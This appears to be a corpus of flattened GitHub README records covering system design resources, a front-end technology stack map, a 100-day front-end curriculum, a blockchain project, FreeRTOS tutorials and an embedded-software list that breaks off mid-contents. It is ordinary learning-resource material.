developers 8 steps to acing your next system design interview best practices for building something like a news feed https www quora com software engineering best practices what are the best practices for building something like a news feed understanding google file system architecture gfs gfs original paper https github com nirmalsilwal system design resources blob master google 20file 20system pdf mit lecture youtube https www youtube com watch v epigvowzr00 iit patna lecture youtube https www youtube com watch v epigvowzr00 detailed explantion by sciencedirect https www sciencedirect com topics computer science google file system mapreduce simplified data processing on large clusters https static googleusercontent com media research google com en archive mapreduce osdi04 pdf understanding google search engine the anatomy of a large scale hypertextual web search engine http infolab stanford edu backrub google html understanding dynamodb architecture dynamo amazon s highly available key value store https github com nirmalsilwal system design resources blob master amazon 20dynamo 20db 20database 20design pdf best practices for designing and architecting with dynamodb https docs aws amazon com amazondynamodb latest developerguide best practices html video tutorials on system design gaurav sen playlist https www youtube com playlist list plmcxhnjxntnvo6alsjvkgxv vh6epyvox must do playlist grokking the system design interview https www youtube com playlist list pl73kfetzlkjsz9vtdsj1swzhe6ciykqtl udit agarwal low level designs design patterns system design videos https www youtube com c anomaly2104 playlists suggested by googler tech dummies playlist https www youtube com c techdummiesnarendral playlists redis system design distributed cache system design https www youtube com watch v dubegnw f9c list plkqkby7jnjuc99vdjcpqdww 4at3qhdjv index 17 s3 system design cloud storage system design distributed cloud storage system design https www youtube com watch v umwtcgc96x8 yelp system design https www youtube com watch v tcp5ipy8xqo uber system design https www youtube com watch v umwabit wbk t 2s netflix system design https www youtube com watch v psqzyffsugu t 4s twitter system design https www youtube com watch v wyk0xpp p 8 t 1s tushar roy playlist https www youtube com playlist list plrmlmbdmilps7gjjww9i7n0p0rb0c3ey2 system design interview channel https www youtube com c systemdesigninterview videos reditt scaling https www youtube com playlist list plvi1lmrukq0ninqfjklven7j2lzfl35wp amazon system design preparation sip https www youtube com watch v gf8r7sgme6o success in tech playlist https www youtube com playlist list pla8lyuzflbqay6dkzhj5vxuaaqr4vwrka coding and system design interview questions think software channel playlist https www youtube com playlist list plk8iovtbwvsuyw8kovgg9o6dlhspym8o systems design interview questions scalability lecture by david mellan harvard https www youtube com watch v w9f d3oy4 list plmhrnzyyvpdmlpavqm3mk5py5kb 4hlje index 10 code karle youtube playlists https www youtube com c codekarle playlists and their website blogs https www codekarle com design patterns in object oriented programming playlist https www youtube com playlist list plrhzvicii6gnjpardno4uetuavr9embpc christopher okhravi design patterns by sudo code https www youtube com c sudocode playlists googler s suggestion tech talk facebook and memcached tech talk https www youtube com watch v uh7wkvcf0ys t 283s caching at netflix the hidden microservice by scott mansfield https www youtube com watch v rzdxgx3rc0q why google stores billions of lines of code in a single repository https www youtube com watch v w71btkubdqe scaling instagram infrastructure https www youtube com watch v hnpznapic0e google production environment https www youtube com watch v dhtvvwzpc4q microservices at netflix scale principles tradeoffs lessons learned https www youtube com watch v 57uk46qfbly four distributed systems architectural patterns by tim berglund https www youtube com watch v tpspo9k28pm seattle conference on scalability youtube scalability https www youtube com watch v zw5 eekec28 operations at twitter scaling beyond 100 million users https www youtube com watch v z8lu0cj6bou scaling redis at twitter https www youtube com watch v rp9ekvwt0zo system design cheatsheet 1 basic concepts https gist github com vasanthk 485d1c25737e8e72759f system design cheatsheet 2 scalable system design patterns http horicky blogspot com 2010 10 scalable system design patterns html system design template template here https leetcode com discuss career 229177 my system design template understanding design patterns design patterns for humans https github com kamranahmedse design patterns for humans refactoring guru design patterns https refactoring guru design patterns hr extras notable github repo to understand concepts more system design and architecture https github com puncsky system design and architecture system design primer https github com donnemartin system design primer interview ready repo on system design resources link here https github com interviewready system design resources | system-design design design-patterns interview system google-file-system design-interviews data-intensive-applicatoin programming head-first-design-patterns head-first-java java educativeio tech-blog tech-talks grokking-system-design scalability microservices design-thinking | os |
Mobile-App-Development-2 | mobile app development 2 source code and practical examples for mobile app development 2 course itcs3317 al aqsa university gaza instructor ibrahim o i kaware | front_end |
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WebFrontEndStack | overflow stack the overflow stack family web front end stack database stack net stack etc http overflowstack github io localization https github com unruledboy webfrontendstack blob master readme zh cn md espa ol https github com unruledboy webfrontendstack blob master readme es es md webfrontendstack web front end stack browsers platforms libraries frameworks tools etc image of web front end stack web front end stack png generate image yourself prepare for environment you should have visual studio 2010 installed in windows 1 install nodejs https nodejs org shoule be iojs 1 8 0 2 install phantomjs http phantomjs org 3 install python 2 7 https www python org 4 npm install if the error occurs you can check the dependence of phantomjs node https github com sgentle phantomjs node wiki node gyp https github com tootallnate node gyp installation run commands npm start for start a server to open the html directly npm run build for generate the image options bash h help display help message p port number default 3000 set the port what express listening ues update existed stargazers default false update project s stargazers including existed phantomjs the task to generate the image readme the task to update readme updatestargazers the task to update the count of the stargazers what and why have you ever wondered what technologies web front end really includes how many do i possess i could not find a really comprehensive diagram that shows the web front end technology stack so i come up with my own version there might be issues here and there like the category the individual ones but the beauty is you can modify it as you want you can have a graphical preview here use mouse to move zoom https rawgit com unruledboy webfrontendstack master ux webfrontendstack htm the web front end stack build start web front end browser internet explorer http windows microsoft com en us internet explorer download ie chrome http www google com chrome firefox https www mozilla org safari http www apple com safari opera http www opera com edge https www microsoft com en us windows microsoft edge netscape https en wikipedia org wiki netscape protocol http 1 1 https www ietf org rfc rfc2616 txt uri session authentication request response http 2 https en wikipedia org wiki http 2 compression minification server push websocket the 3 pillars html hypertext markup language css cascading style sheets javascript standards w3c html css xhtml xml core concepts html dom https developer mozilla org en us docs web api document object model element https developer mozilla org en us docs web api element attribute javascript prototype https developer mozilla org en us docs web javascript reference global objects object prototype scope https developer mozilla org en us docs glossary scope closure https developer mozilla org en us docs web javascript closures json javasript object notation https developer mozilla org en us docs glossary json ajax asynchronous javascript and xml https developer mozilla org en us docs ajax css selector priority specificity box model rendering engine trident ie https en wikipedia org wiki trident layout engine blink prev webkit chrome http www chromium org blink gecko firefox https developer mozilla org en us docs mozilla gecko webkit safari http www webkit org blink prev presto opera http www chromium org blink edgehtml edge https en wikipedia org wiki edgehtml javascript engine jscript ie8 asp https en wikipedia org wiki jscript chakra ie9 edge https en wikipedia org wiki chakra jscript engine v8 chrome opera nodejs mongodb https developers google com v8 hl zh cn github https github com v8 v8 spidermonkey firefox https developer mozilla org en us docs mozilla projects spidermonkey javascriptcore safari https en wikipedia org wiki webkit javascriptcore runtime cookie local cache session storage local storage components extensions plugins resources images icons fonts audios videos editors sublime text http www sublimetext com webstorm https www jetbrains com webstorm atom https atom io github https github com atom atom vim http www vim org emacs https www gnu org software emacs brackets http brackets io github https github com adobe brackets light table http lighttable com github https github com lighttable lighttable visual studio https www visualstudio com visual studio code linux mac https code visualstudio com github https github com microsoft vscode dreamweaver frontpage sharepoint designer build tasks minification compilation concatenation uglification image optimization unit testing build tools grunt http www gruntjs com github https github com cowboy jquery tiny pubsub gulp http gulpjs com github https github com gulpjs gulp brunch http brunch io github https github com brunch brunch yeoman http yeoman io broccoli github https github com broccolijs broccoli debug developer tools https developer chrome com devtools firebug http getfirebug com github https github com firebug firebug base tools node js https nodejs org github https github com joyent node phantom js http phantomjs org github https github com ariya phantomjs spidermonkey https developer mozilla org en us docs mozilla projects spidermonkey quality jslint http www jslint com github https github com douglascrockford jslint jshint http jshint com github https github com jshint jshint jscs http jscs info github https github com jscs dev node jscs closure linter https developers google com closure utilities package npm https www npmjs com github https github com npm npm bower http bower io github https github com bower bower yarn https yarnpkg com github https github com yarnpkg yarn test tools qunit https qunitjs com github https github com jquery qunit jasmine http jasmine github io github https github com jasmine jasmine mocha https mochajs org github https github com mochajs mocha selenium http www seleniumhq org github https github com seleniumhq selenium webdriverio http webdriver io github https github com webdriverio webdriverio protractor http www protractortest org chai http chaijs com github https github com jfirebaugh konacha sinon js http sinonjs org github https github com cjohansen sinon js karma http karma runner github io github https github com karma runner karma nodeunit github https github com caolan nodeunit tape github http github com substack tape nightmare http nightmarejs org github https github com segmentio nightmare enzyme http airbnb io enzyme github https github com airbnb enzyme composite sauce labs https saucelabs com browser stack https www browserstack com browser shots http browsershots org browserling https www browserling com browser sandbox https spoon net browsers cross browser testing https crossbrowsertesting com browsera http www browsera com sortsite http www powermapper com products sortsite checks browser compatibility frameworks libraries javascript base library jquery https jquery com github https github com jquery jquery prototype http prototypejs org github https github com sstephenson prototype zepto http zeptojs com github https github com madrobby zepto mootool http mootools net github https github com mootools mootools core modular es6 module commonjs webpack http webpack github io github https github com webpack webpack browserify http browserify org github https github com substack node browserify amd requirejs http requirejs org github https github com jrburke requirejs umd umd github https github com umdjs umd javascript framework angularjs https angularjs org github https github com angular angular js backbone http backbonejs org github https github com jashkenas backbone knockout http knockoutjs com github https github com stevesanderson knockout ember http emberjs com github https github com emberjs ember js react http facebook github io react github https github com facebook react polymer https www polymer project org github https github com polymer polymer deft js http deftjs org github https github com deftjs deftjs vue http vuejs org github https github com yyx990803 vue riot http riotjs com github https github com riot riot ui framework bootstrap http getbootstrap com github https github com twbs bootstrap semantic ui http semantic ui com github https github com semantic org semantic ui foundation http foundation zurb com github https github com zurb foundation material ui http material ui com github https github com callemall material ui winjs https dev windows com en us develop winjs github https github com winjs winjs pure http purecss io github https github com yahoo pure amaze ui http amazeui org github https github com allmobilize amazeui onsne ui https onsen io github https github com onsenui onsenui websocket socket io http socket io github https github com automattic socket io web socket js github https github com gimite web socket js data visualization d3 http d3js org github https github com mbostock d3 wiki gallery echarts http echarts baidu com github https github com ecomfe esl highcharts http www highcharts com github https github com highslide software highcharts com vis js http visjs org github https github com almende vis flot http www flotcharts org github https github com flot flot webgl three js http threejs org github https github com mrdoob three js babylon js http www babylonjs com github https github com babylonjs babylon js pixi js http www pixijs com github https github com goodboydigital pixi js css3 animation animate css https daneden github io animate css github https github com daneden animate css bounce js http bouncejs com github https github com tictail bounce js effeckt css https h5bp github io effeckt css github https github com h5bp effeckt css move js https visionmedia github io move js github https github com visionmedia move js flow controller es6 promise generator es7 yield await async github https github com caolan async co github https github com tj co promise bluebird github https github com petkaantonov bluebird q github https github com kriskowal q when js github https github com cujojs when functional bacon js http baconjs github io github https github com baconjs bacon js immutable js https facebook github io immutable js github https github com facebook immutable js ramda http ramdajs com github http github com ramda ramda underscore js http underscorejs org github https github com jashkenas underscore lodash https lodash com github https github com lodash lodash reactivex http reactivex io github https github com reactive extensions rxjs mobile ui jquery mobile https jquerymobile com github https github com jquery jquery mobile jo http joapp com github https github com davebalmer jo dojo mobile https dojotoolkit org reference guide 1 10 dojox mobile html lungo http lungo tapquo com github https github com tapquo lungo js css pre processors less less http lesscss org github https github com less less js hat http lesshat madebysource com github https github com csshat lesshat sass scss compass http compass style org github https github com chriseppstein compass bourbon http bourbon io github https github com thoughtbot bourbon gumby http www gumbyframework com github https github com gumbyframework gumby stylus nib github https github com tj nib future standards babel https babeljs io github https github com babel babel template handlebars http handlebarsjs com github https github com wycats handlebars js haml http haml info github https github com haml haml slim http slim lang com github https github com slim template slim jade http jade lang com github https github com jadejs jade ejs http www embeddedjs com spacebars http meteorcapture com spacebars mustache http mustache github io github https github com janl mustache js modernisation normalize http necolas github io normalize css github https github com necolas normalize css reset best practices seo https en wikipedia org wiki search engine optimization responsiveness cdn https en wikipedia org wiki content delivery network security sandbox xss https en wikipedia org wiki cross site scripting cors http www w3 org tr cors intermediate languages coffeescript http coffeescript org github https github com jashkenas coffeescript typescript http www typescriptlang org github https github com microsoft typescript clojurescript github https github com clojure clojurescript jsx facebook http facebook github io react docs jsx in depth html mobile application development phonegap cordova https cordova apache org github https github com apache cordova android mui http dev dcloud net cn mui github https github com dcloudio mui react native https facebook github io react native github https github com facebook react native ionic http ionicframework com github https github com driftyco ionic desktop application development electron http electron atom io github https github com atom electron nw js http nwjs io github https github com nwjs nw js build end | front_end |
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100-days-of-code-frontend | note this resource is old i will be archiving this repository by the end of july 2021 as i feel that many of the recommendations here are outdated for learning front end web development in 2021 p align center img alt 100daysofcode front end development src https i imgur com dwyop0b jpg p please support this repo by giving it a star at the top of the page and follow me https github com nas5w for more resources want to learn more about frontend development consider signing up for my free newsletter https buttondown email devtuts 100doc where i periodically send out digestible bits of frontend knowledge subscribing to my youtube channel https www youtube com c devtutsco where i teach javascript typescript and react this is a somewhat opinionated curriculum for learning front end development during 100daysofcode as it covers a wide range of front end development topics it can be thought of as more of a survey style course rather than a deep dive into any one area ideally your takeaway from completing this curriculum will be some familiarity with each topic and the ability to easily dive deeper in any area in the future when necessary this curriculum was influenced significantly by kamran ahmed s modern frontend developer https medium com tech tajawal modern frontend developer in 2018 4c2072fa2b9c roadmap please check it out it is excellent note i know front end development means a lot of different things to a lot of people if you re a front end developer and you think this guide could be improved please let me know by raising an issue as described in the contributing contributing section thank you translations thanks to some incredible contributors this curriculum has been translated into the following languages russian ru translation by ibochkarev https github com ibochkarev and jonikul https github com jonikul chinese chinese translation by simplefeel https github com simplefeel portuguese portugu s portuguese translation by zardosh https github com zardosh polish polski polish translation by mbiesiad https github com mbiesiad malay indonesia malay translation by asyraf labs https github com asyraf labs vietnamese ti ng vi t vietnam translation by duca7 https github com duca7 japanese japanese translation by miily8310s https github com miily8310s bangla bangla translation by mirajus salehin https github com mirajus salehin calendar curriculum the underlying principle of this repository is timeboxing https en wikipedia org wiki timeboxing if you have spent any amount of time in the past trying to learn web development or a similar skill you have likely experienced going down a rabbit hole on any one particular topic this repository aims to assign a certain number of days to each technology and encourages you to move to the next once that number of days is up it is anticipated that everyone is at a different level of proficiency when starting this challenge and that s okay beginner and expert front end developers alike can benefit from timeboxed practice in each of these areas the recommended day by day activities are as follows days 1 8 html html days 9 16 css css days 17 24 javascript basics javascript days 25 27 jquery jquery days 28 33 responsive web design rwd days 34 36 accessibility accessibility days 37 39 git git days 40 44 node and npm node days 45 50 sass sass days 51 54 bootstrap bootstrap day 55 bem bem days 57 61 gulp gulp days 62 65 webpack webpack day 66 eslint eslint days 68 83 react react days 84 89 redux redux days 90 94 jest jest days 95 97 typescript typescript days 98 100 nextjs nextjs mag right the details below you can find a little information about each topic in the curriculum as well as some ideas guidance on what to do for each for inspiration on projects to do alongside this curriculum see the project ideas section project ideas as part of the timeboxing principle it s okay if you don t get through all of the items in the learning areas and ideas sections you should instead focus on getting the most you can out of the number of days assigned to each area and then move on a name html a html https i imgur com o0f5xsr jpg hypertext markup language html is the standard markup language for creating web pages and web applications with cascading style sheets css and javascript it forms a triad of cornerstone technologies for the world wide web web browsers receive html documents from a web server or from local storage and render the documents into multimedia web pages html describes the structure of a web page semantically and originally included cues for the appearance of the document source wikipedia https en wikipedia org wiki html bulb quick takeaway html is really the foundation of web development even in the javascript based frameworks you end up writing html in one form or another book learning areas and ideas take the basic html and html5 section https learn freecodecamp org on freecodecamp html page structure html elements nesting html elements semantic markup links multiple pages images audio video media forms and form elements create a multi page website see project ideas project ideas if you need some inspiration a name css a css https i imgur com 028gor0 jpg cascading style sheets css is a style sheet language used for describing the presentation of a document written in a markup language like html css is a cornerstone technology of the world wide web alongside html and javascript css is designed to enable the separation of presentation and content including layout colors and fonts this separation can improve content accessibility provide more flexibility and control in the specification of presentation characteristics enable multiple web pages to share formatting by specifying the relevant css in a separate css file and reduce complexity and repetition in the structural content source wikipedia https en wikipedia org wiki cascading style sheets bulb quick takeaway css is another essential component of web development while it is mainly used to style and position html elements it has become increasingly capable of more dynamic tasks e g animations that would once be handled by javascript book learning areas and ideas take the basic css css flexbox and css grid sections https learn freecodecamp org on freecodecamp in line css style tags external css with link styling elements selectors floats clearing floats layouts grid flexbox fonts custom fonts style the html page s you made when learning html a name javascript a javascript https i imgur com ohdd86j jpg javascript often abbreviated as js is a high level interpreted programming language that conforms to the ecmascript specification it is a language that is also characterized as dynamic weakly typed prototype based and multi paradigm alongside html and css javascript is one of the three core technologies of the world wide web javascript enables interactive web pages and thus is an essential part of web applications the vast majority of websites use it and all major web browsers have a dedicated javascript engine to execute it source wikipedia https en wikipedia org wiki javascript bulb quick takeaway javascript has become increasingly important in the front end world while it was once used mainly to make pages dynamic it is now the foundation of many front end frameworks these frameworks handle a lot of the tasks that were formerly handled by the back end e g routing and displaying different views book learning areas and ideas take the basic javascript and es6 sections https learn freecodecamp org on freecodecamp too many language fundamentals to list here script tag and placement accessing html elements the event loop call stack and event queue prototypal inheritance reference vs value add some dynamic elements or logic to your html css page s developed earlier a name jquery a jquery https i imgur com m9j02fo jpg jquery is a fast small and feature rich javascript library it makes things like html document traversal and manipulation event handling animation and ajax much simpler with an easy to use api that works across a multitude of browsers with a combination of versatility and extensibility jquery has changed the way that millions of people write javascript source jquery com https jquery com bulb quick takeaway after you have spent some time with plain also called vanilla javascript you may find some tasks a bit cumbersome especially those related to accessing and manipulating html elements for quite a while jquery was the go to library for making these kinds of tasks easier and consistent across different browsers nowadays jquery isn t necessarily mandatory learning because of advancements in vanilla javascript css and newer javascript frameworks we ll look at frameworks later still it would be beneficial to take a little time to learn some jquery and apply it to a small project book learning areas and ideas take the jquery section https learn freecodecamp org on freecodecamp document ready selectors toggle classes animation add or move html elements add jquery to your site a name rwd a responsive web design https i imgur com bt1zwwq jpg responsive web design rwd is an approach to web design that makes web pages render well on a variety of devices and window or screen sizes recent work also considers the viewer proximity as part of the viewing context as an extension for rwd content design and performance are necessary across all devices to ensure usability and satisfaction a site designed with rwd adapts the layout to the viewing environment by using fluid proportion based grids flexible images and css3 media queries an extension of the media rule source wikipedia https en wikipedia org wiki responsive web design bulb quick takeaway responsive web design is all about making web applications look and function properly on all types of device a quick and dirty example would be that a website should look and function properly both in a desktop web browser and on a mobile phone browser an understanding of responsive design is crucial for any front end developer book learning areas and ideas take the responsive web design principles section https learn freecodecamp org on freecodecamp media queries breakpoints responsive images make your website responsive use chrome devtools to view your site on different devices viewports a name accessibility a accessibility https i imgur com ayiomqw jpg web accessibility is the inclusive practice of ensuring there are no barriers that prevent interaction with or access to websites on the world wide web by people with disabilities when sites are correctly designed developed and edited generally all users have equal access to information and functionality source wikipedia https en wikipedia org wiki web accessibility bulb quick takeaway accessibility often written as a11y is one of the most important topics in front end web development yet it seems to often get short shrift creating accessible web applications is not only ethically sound but also makes a lot of business sense considering the additional audience that will be able to view your applications when they are accessible book learning areas and ideas take the applied accessibility section https learn freecodecamp org on freecodecamp read some content on the a11y project https a11yproject com about review their checklist https a11yproject com checklist update your site s for accessibility based on this checklist a name git a git https i imgur com 5qonjqs jpg git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency source git scm com https git scm com bulb quick takeaway version code control is an essential part of any web developer s toolkit there are a number of different version control systems but git is by far the most prevalent at the moment you can and should use it to track your projects as you learn book learning areas and ideas git tutorial for beginners video https www youtube com watch v hvsysz h9r4 install git set up a github https github com account learn the most used git commands init clone add commit push pull merge rebase add your existing projects to github a name node a node and npm https i imgur com 8ik2ald jpg node js is an open source cross platform javascript run time environment that executes javascript code outside of a browser javascript is used primarily for client side scripting in which scripts written in javascript are embedded in a webpage s html and run client side by a javascript engine in the user s web browser node js lets developers use javascript to write command line tools and for server side scripting running scripts server side to produce dynamic web page content before the page is sent to the user s web browser consequently node js represents a javascript everywhere paradigm unifying web application development around a single programming language rather than different languages for server side and client side scripts source wikipedia https en wikipedia org wiki node js bulb quick takeaway while node js is typically known as a back end solution it is used quite frequently to support front end development it does this in a number of ways including things like running build tools testing and linting all to be covered soon node package manager npm is another great feature of node and can be used to manage dependencies of your project i e code libraries your project might rely on jquery is an example book learning areas and ideas research node and how it is different than the browser install node npm comes with it create a simple javascript file and run it with node use npm to manage any dependencies in your existing project s e g jquery a name sass a sass https i imgur com zredlge jpg sass is an extension of css that adds power and elegance to the basic language it allows you to use variables nested rules mixins inline imports and more all with a fully css compatible syntax sass helps keep large stylesheets well organized and get small stylesheets up and running quickly particularly with the help of the compass style library source sass lang com https sass lang com documentation file sass reference html bulb quick takeaway sass allows you to write css in a more programmatic way if you ve done some css you might have noticed that you end up repeating a lot of information for example specifying the same color code in sass you can use things like variables loops and nesting to reduce redundancy and increase readability after writing your code in sass you can quickly and easily compile it to regular css book learning areas and ideas install sass https sass lang com install globally with npm sass crash course video https www youtube com watch v roywysepsvc follow the learn sass https sass lang com guide tutorial and or freecodecamp https learn freecodecamp org sass tutorial update your existing site to generate your css using sass a name bootstrap a bootstrap https i imgur com cj21eh2 jpg some alternatives foundation bulma materialize bootstrap is a free and open source front end framework for developing websites and web applications it contains html and css based design templates for typography forms buttons navigation and other interface components as well as optional javascript extensions source wikipedia https en wikipedia org wiki bootstrap front end framework bulb quick takeaway there are many options for laying out styling and making your web application dynamic but you ll find that starting with a framework helps you tremendously in getting a head start bootstrap is one such framework but it is definitely far from the only option i recommend getting familiar with one framework like this but it s far more important to grasp html css and javascript fundamentals than it is to get caught up in any one framework book learning areas and ideas learn what bootstrap is and why you would want to use it bootstrap 4 crash course video https www youtube com watch v hncmsxczepu complete the bootstrap section on freecodecamp https learn freecodecamp org refactor your site using bootstrap a name bem a bem https i imgur com mcvmrql jpg the block element modifier methodology commonly referred to as bem is a popular naming convention for classes in html and css developed by the team at yandex its goal is to help developers better understand the relationship between the html and css in a given project source css tricks com https css tricks com bem 101 bulb quick takeaway it s important to know naming and organization systems like bem exist and why they are used do some research here but at a beginner level i wouldn t recommend devoting too much time to the subject book learning areas and ideas read the bem introduction http getbem com introduction why i use bem video https www youtube com watch v sljhsvwxyq4 create a simple webpage using bem conventions a name gulp a gulp https i imgur com kqrbyqq jpg gulp is a toolkit for automating painful or time consuming tasks in your development workflow so you can stop messing around and build something source gulpjs com https gulpjs com bulb quick takeaway in modern front end development you ll often find yourself needing to automate tasks like bundling moving files and injecting references into html files gulp is one tool that can help you do these things book learning areas and ideas install gulp with npm follow the gulp for beginners tutorial https css tricks com gulp for beginners on css tricks in your website set up gulp to compile sass for you put the generated css file in build subdirectory move your web pages to the build directory inject a reference to your generated css file into your web pages a name webpack a webpack https i imgur com 0rx82kl jpg at its core webpack is a static module bundler for modern javascript applications when webpack processes your application it internally builds a dependency graph which maps every module your project needs and generates one or more bundles source webpack js org https webpack js org concepts bulb quick takeaway imagine that you have a large web development project with a number of different developers working on a lot of different tasks rather than all working in the same files you might want to modularize them as much as possible webpack helps enable this by letting your team work modularly and then come time to build the application webpack will stick it all together html css sass javasscript images etc webpack isn t the only module bundler but it seems to be the front runner at the moment book learning areas and ideas read webpack concepts https webpack js org concepts what is webpack how does it work video https www youtube com watch v gu 2t7k9nfi this webpack tutorial https hackernoon com a tale of webpack 4 and how to finally configure it in the right way 4e94c8e7e5c1 a name eslint a eslint https i imgur com cjb6znl jpg eslint is an open source javascript linting utility originally created by nicholas c zakas in june 2013 code linting is a type of static analysis that is frequently used to find problematic patterns or code that doesn t adhere to certain style guidelines there are code linters for most programming languages and compilers sometimes incorporate linting into the compilation process source eslint org https eslint org docs about bulb quick takeaway linting is a fantastic tool for code quality readability and consistency using a linter will help you catch syntax and formatting mistakes before they go to production you can run linters manually or include them in your build deployment process book learning areas and ideas install eslint using npm how to setup vs code prettier eslint video https www youtube com watch v yivjkid9m2c lint your javascript a name react a react https i imgur com ulyz15w jpg some alternatives vue angular ember react also known as react js or reactjs is a javascript library for building user interfaces it is maintained by facebook and a community of individual developers and companies react can be used as a base in the development of single page or mobile applications complex react applications usually require the use of additional libraries for state management routing and interaction with an api source wikipedia https en wikipedia org wiki react javascript library bulb quick takeaway front end javascript frameworks are at the forefront of modern front end development one important takeaway here is that react despite being incredibly popular is only a library for building user interfaces whereas frameworks like vue and angular aim to be more full featured for example if you build an application with in react that needs to route to different views you ll need to bring in something like react router book learning areas and ideas take the react tutorial https reactjs org tutorial tutorial html learn react with mosh https www youtube com watch v ke90tje7vs0 refactor your website as a react app note create react app is a convenient tool to scaffold new react projects a name redux a redux https i imgur com s9h2dbp jpg redux is a predictable state container for javascript apps it helps you write applications that behave consistently run in different environments client server and native and are easy to test on top of that it provides a great developer experience such as live code editing combined with a time traveling debugger source redux js org https redux js org introduction getting started bulb quick takeaway as you build bigger and bigger front end applications you start realizing that it s hard to maintain application state things like the if the user is logged in who the user is and generally what s going on in the application redux is a great library that helps you maintain a single source of state on which your application can base its logic book learning areas and ideas this redux video tutorial https www youtube com watch v 93p3lxr9xfm this redux video series https egghead io courses getting started with redux by dan abramov creator of redux take note of the redux three principles https redux js org introduction three principles single source of truth state is read only changes are made with pure functions add redux state management to your app a name jest a jest https i imgur com cr39axw jpg jest is a delightful javascript testing framework with a focus on simplicity it works with projects using babel typescript node react angular vue and more source jestjs io https jestjs io bulb quick takeaway it is very important to set up automated testing for your front end projects setting up automated testing will allow you to make future changes with confidence if you make changes and your tests still pass you will be fairly comfortable you didn t break any existing functionality there are too many testing frameworks to list jest is simply one of my favorties book learning areas and ideas learn jest basics https jestjs io docs en getting started if you used create react app jest is already configured https facebook github io create react app docs running tests add tests to your application a name typescript a typescript https i imgur com bzrojns jpg alternative flow typescript is an open source programming language developed and maintained by microsoft it is a strict syntactical superset of javascript and adds optional static typing to the language typescript is designed for development of large applications and transcompiles to javascript as typescript is a superset of javascript existing javascript programs are also valid typescript programs typescript may be used to develop javascript applications for both client side and server side node js execution source wikipedia https en wikipedia org wiki typescript bulb quick takeaway javascript is dynamically typed however it is a common belief that static typing i e specifying variable types classes interfaces ahead of time is both clearer and reduces the likelihood of defects bugs regardless of how you feel on the topic it s important to at least get a feel for a statically typed version of javascript like typescript note that typescript compiles down to javascript so it can be interpreted by browsers i e browsers don t natively interpret typescript book learning areas and ideas learn typescript in 5 minutes https medium freecodecamp org learn typescript in 5 minutes 13eda868daeb learn typescript in 50 minutes video https www youtube com watch v wbprjsw7yqa optionally create a react app with typescript https levelup gitconnected com typescript and react using create react app a step by step guide to setting up your first app 6deda70843a4 a name nextjs a nextjs https i imgur com yntw38j jpg next js is a minimalistic framework for server rendered react applications source next js react server side rendering done right https hackernoon com next js react server side rendering done right f9700078a3b6 bulb quick takeaway now we re getting advanced by now you ve built a react or vue or angular application that does quite a bit of work in the browser for various reasons e g seo concerns over client performance you might actually want your front end application to be rendered on the server rather than the client that s where a framework like next js comes in book learning areas and ideas next js getting started https nextjs org learn next js crash course video https www youtube com watch v ikove40sy0u create a next js app or migrate your existing app to next js but what about x this list is supposed to give you broad exposure to the front end ecosystem but it s simply impossible to hit on every single topic not to mention the myriad tools within each area if you do think i missed something very important please see the contributing contributing section to see how you can help make this guide better project ideas as you progress through 100daysofcode you ll want one or multiple projects to which you can apply your new knowledge in this section i attempt to provide a few project ideas that you can use alternatively you re encouraged to come up with your own project ideas as those ideas may interest and motivate you more beginner ideas build a portfolio website intermediate advanced ideas build a tweet analysis app if you know back end and api integration already need help generally i have found the following resources invaluable to learning software development googling the issue stackoverflow http www stackoverflow com there s a good chance your question has already been asked and will be a high ranking result when googling mozilla mdn web docs https developer mozilla org en us freecodecamp https www freecodecamp org local software development meetups most are very friendly to all experience levels if you d like my input on anything feel free to connect with me on twitter http www twitter com nas5w and i ll do my best to try to offer some assistance if you think there s an issue with the curriculum or have a recommendation see the contributing section contributing below contributing spread the word if you appreciate the work done here you can contribute significantly by spreading the word about this repository including things like starring and forking this repository sharing this repository on social media contribute to this repository this is a work in progress and i very much appreciate any help in maintaining this knowledge base when contributing to this repository please first discuss the change you wish to make via issue before making a change otherwise it will be very hard to understand your proposal and could potentially result in you putting in a lot of work to a change that won t get merged please note that everyone involved in this project is either trying to learn or trying to help please be nice pull request process 1 create an issue outlining the proposed pull request 2 obtain approval from a project owner to make the proposed change 3 create the pull request | 100daysofcode front-end-development front-end html javascript css jquery responsive-web-design git npm sass bootstrap gulp webpack eslint react reduct jest typescript nextjs | front_end |
empowerchain | empowerchain this is where the code for anything related to empowerchain is located documentation is being built right now in the meantime take a look at our whitepaper https github com empowerplastic empowerchain blob main whitepaper pdf website https empowerchain io and empowerchain io on twitter https twitter com empowerchain io chain in the chain folder is where the actual blockchain code is located docs in the docs folder you will find the documentation and doc site for https docs empowerchain io | blockchain cosmos cosmos-sdk refi | blockchain |
mobile-app-dev | mobile app dev mobile application development sept 2017 delivery | front_end |
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FreeRTOS-Development | freertos development on zynq ultrascale mpsoc or zynq 7000 fpga creating freertos applications with vivado and vitis tool in this repo we will have freertos development reference tutorial on following topics 1 creating multi task application on freertos https github com logictronix freertos development tree master creating multi task 2 creating software timer for each thread https github com logictronix freertos development blob master creating software timer 3 creating rtos eventgroups 4 using interrupts on freertos for video processing application 5 reading sdcard fat files on freertos application 6 implementing png decoder on freertos if you have any queries or interest on freertos development then please write us at info logictronix com we have leading expertise on freertos deelopment for xilinx zynq mpsoc 7000 fpga and edge devices like arm devices | os |
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awesome-embedded-software | awesome embedded resources for developers awesome https awesome re badge svg https awesome re github stars https badgen net github stars idoka awesome embedded software https github com idoka awesome embedded software stargazers github forks https badgen net github forks idoka awesome embedded software https github com idoka awesome embedded software network github watchers https badgen net github watchers idoka awesome embedded software https github com idoka awesome embedded software watchers github contributors https badgen net github contributors idoka awesome embedded software https github com idoka awesome embedded software graphs contributors github pull requests merged https badgen net github merged prs idoka awesome embedded software https github com idoka awesome embedded software pulls q is 3amerged github latest commit https badgen net github last commit idoka awesome embedded software https github com idoka awesome embedded software commit awesome list of sources and libs for embedded systems development implementation of sources and libs in this list are specifically suitable for resource constrained embedded systems low memory and low power like 8 bit 16 bit and 32 bit microcontrollers warning this list does nt cover any linux related topics like raspberry pi platform or any other sbcs single board computer permanent url to this list https github com idoka awesome embedded software contents common common memory memory memory management memory management buffers buffers ring buffer ring buffer fifo fifo storage storage filesystems filesystems data bases data bases flash memory flash memory protocols protocols radio frequency protocols radio frequency protocols network protocols network protocols web server web server mqtt mqtt protocol parsers protocol parsers data processing data processing math math dsp and filtering dsp and filtering compression compression ai ml ai ml cv cv cryptography cryptography general general elliptic curve cryptography elliptic curve cryptography random number generation random number generation os os rtos rtos event based scheduler event based scheduler user interface user interface cli cli menu menu printf printf scanf scanf logging logging gui gui gui editors gui editors font utils font utils picture manupulation tools picture manupulation tools hardware 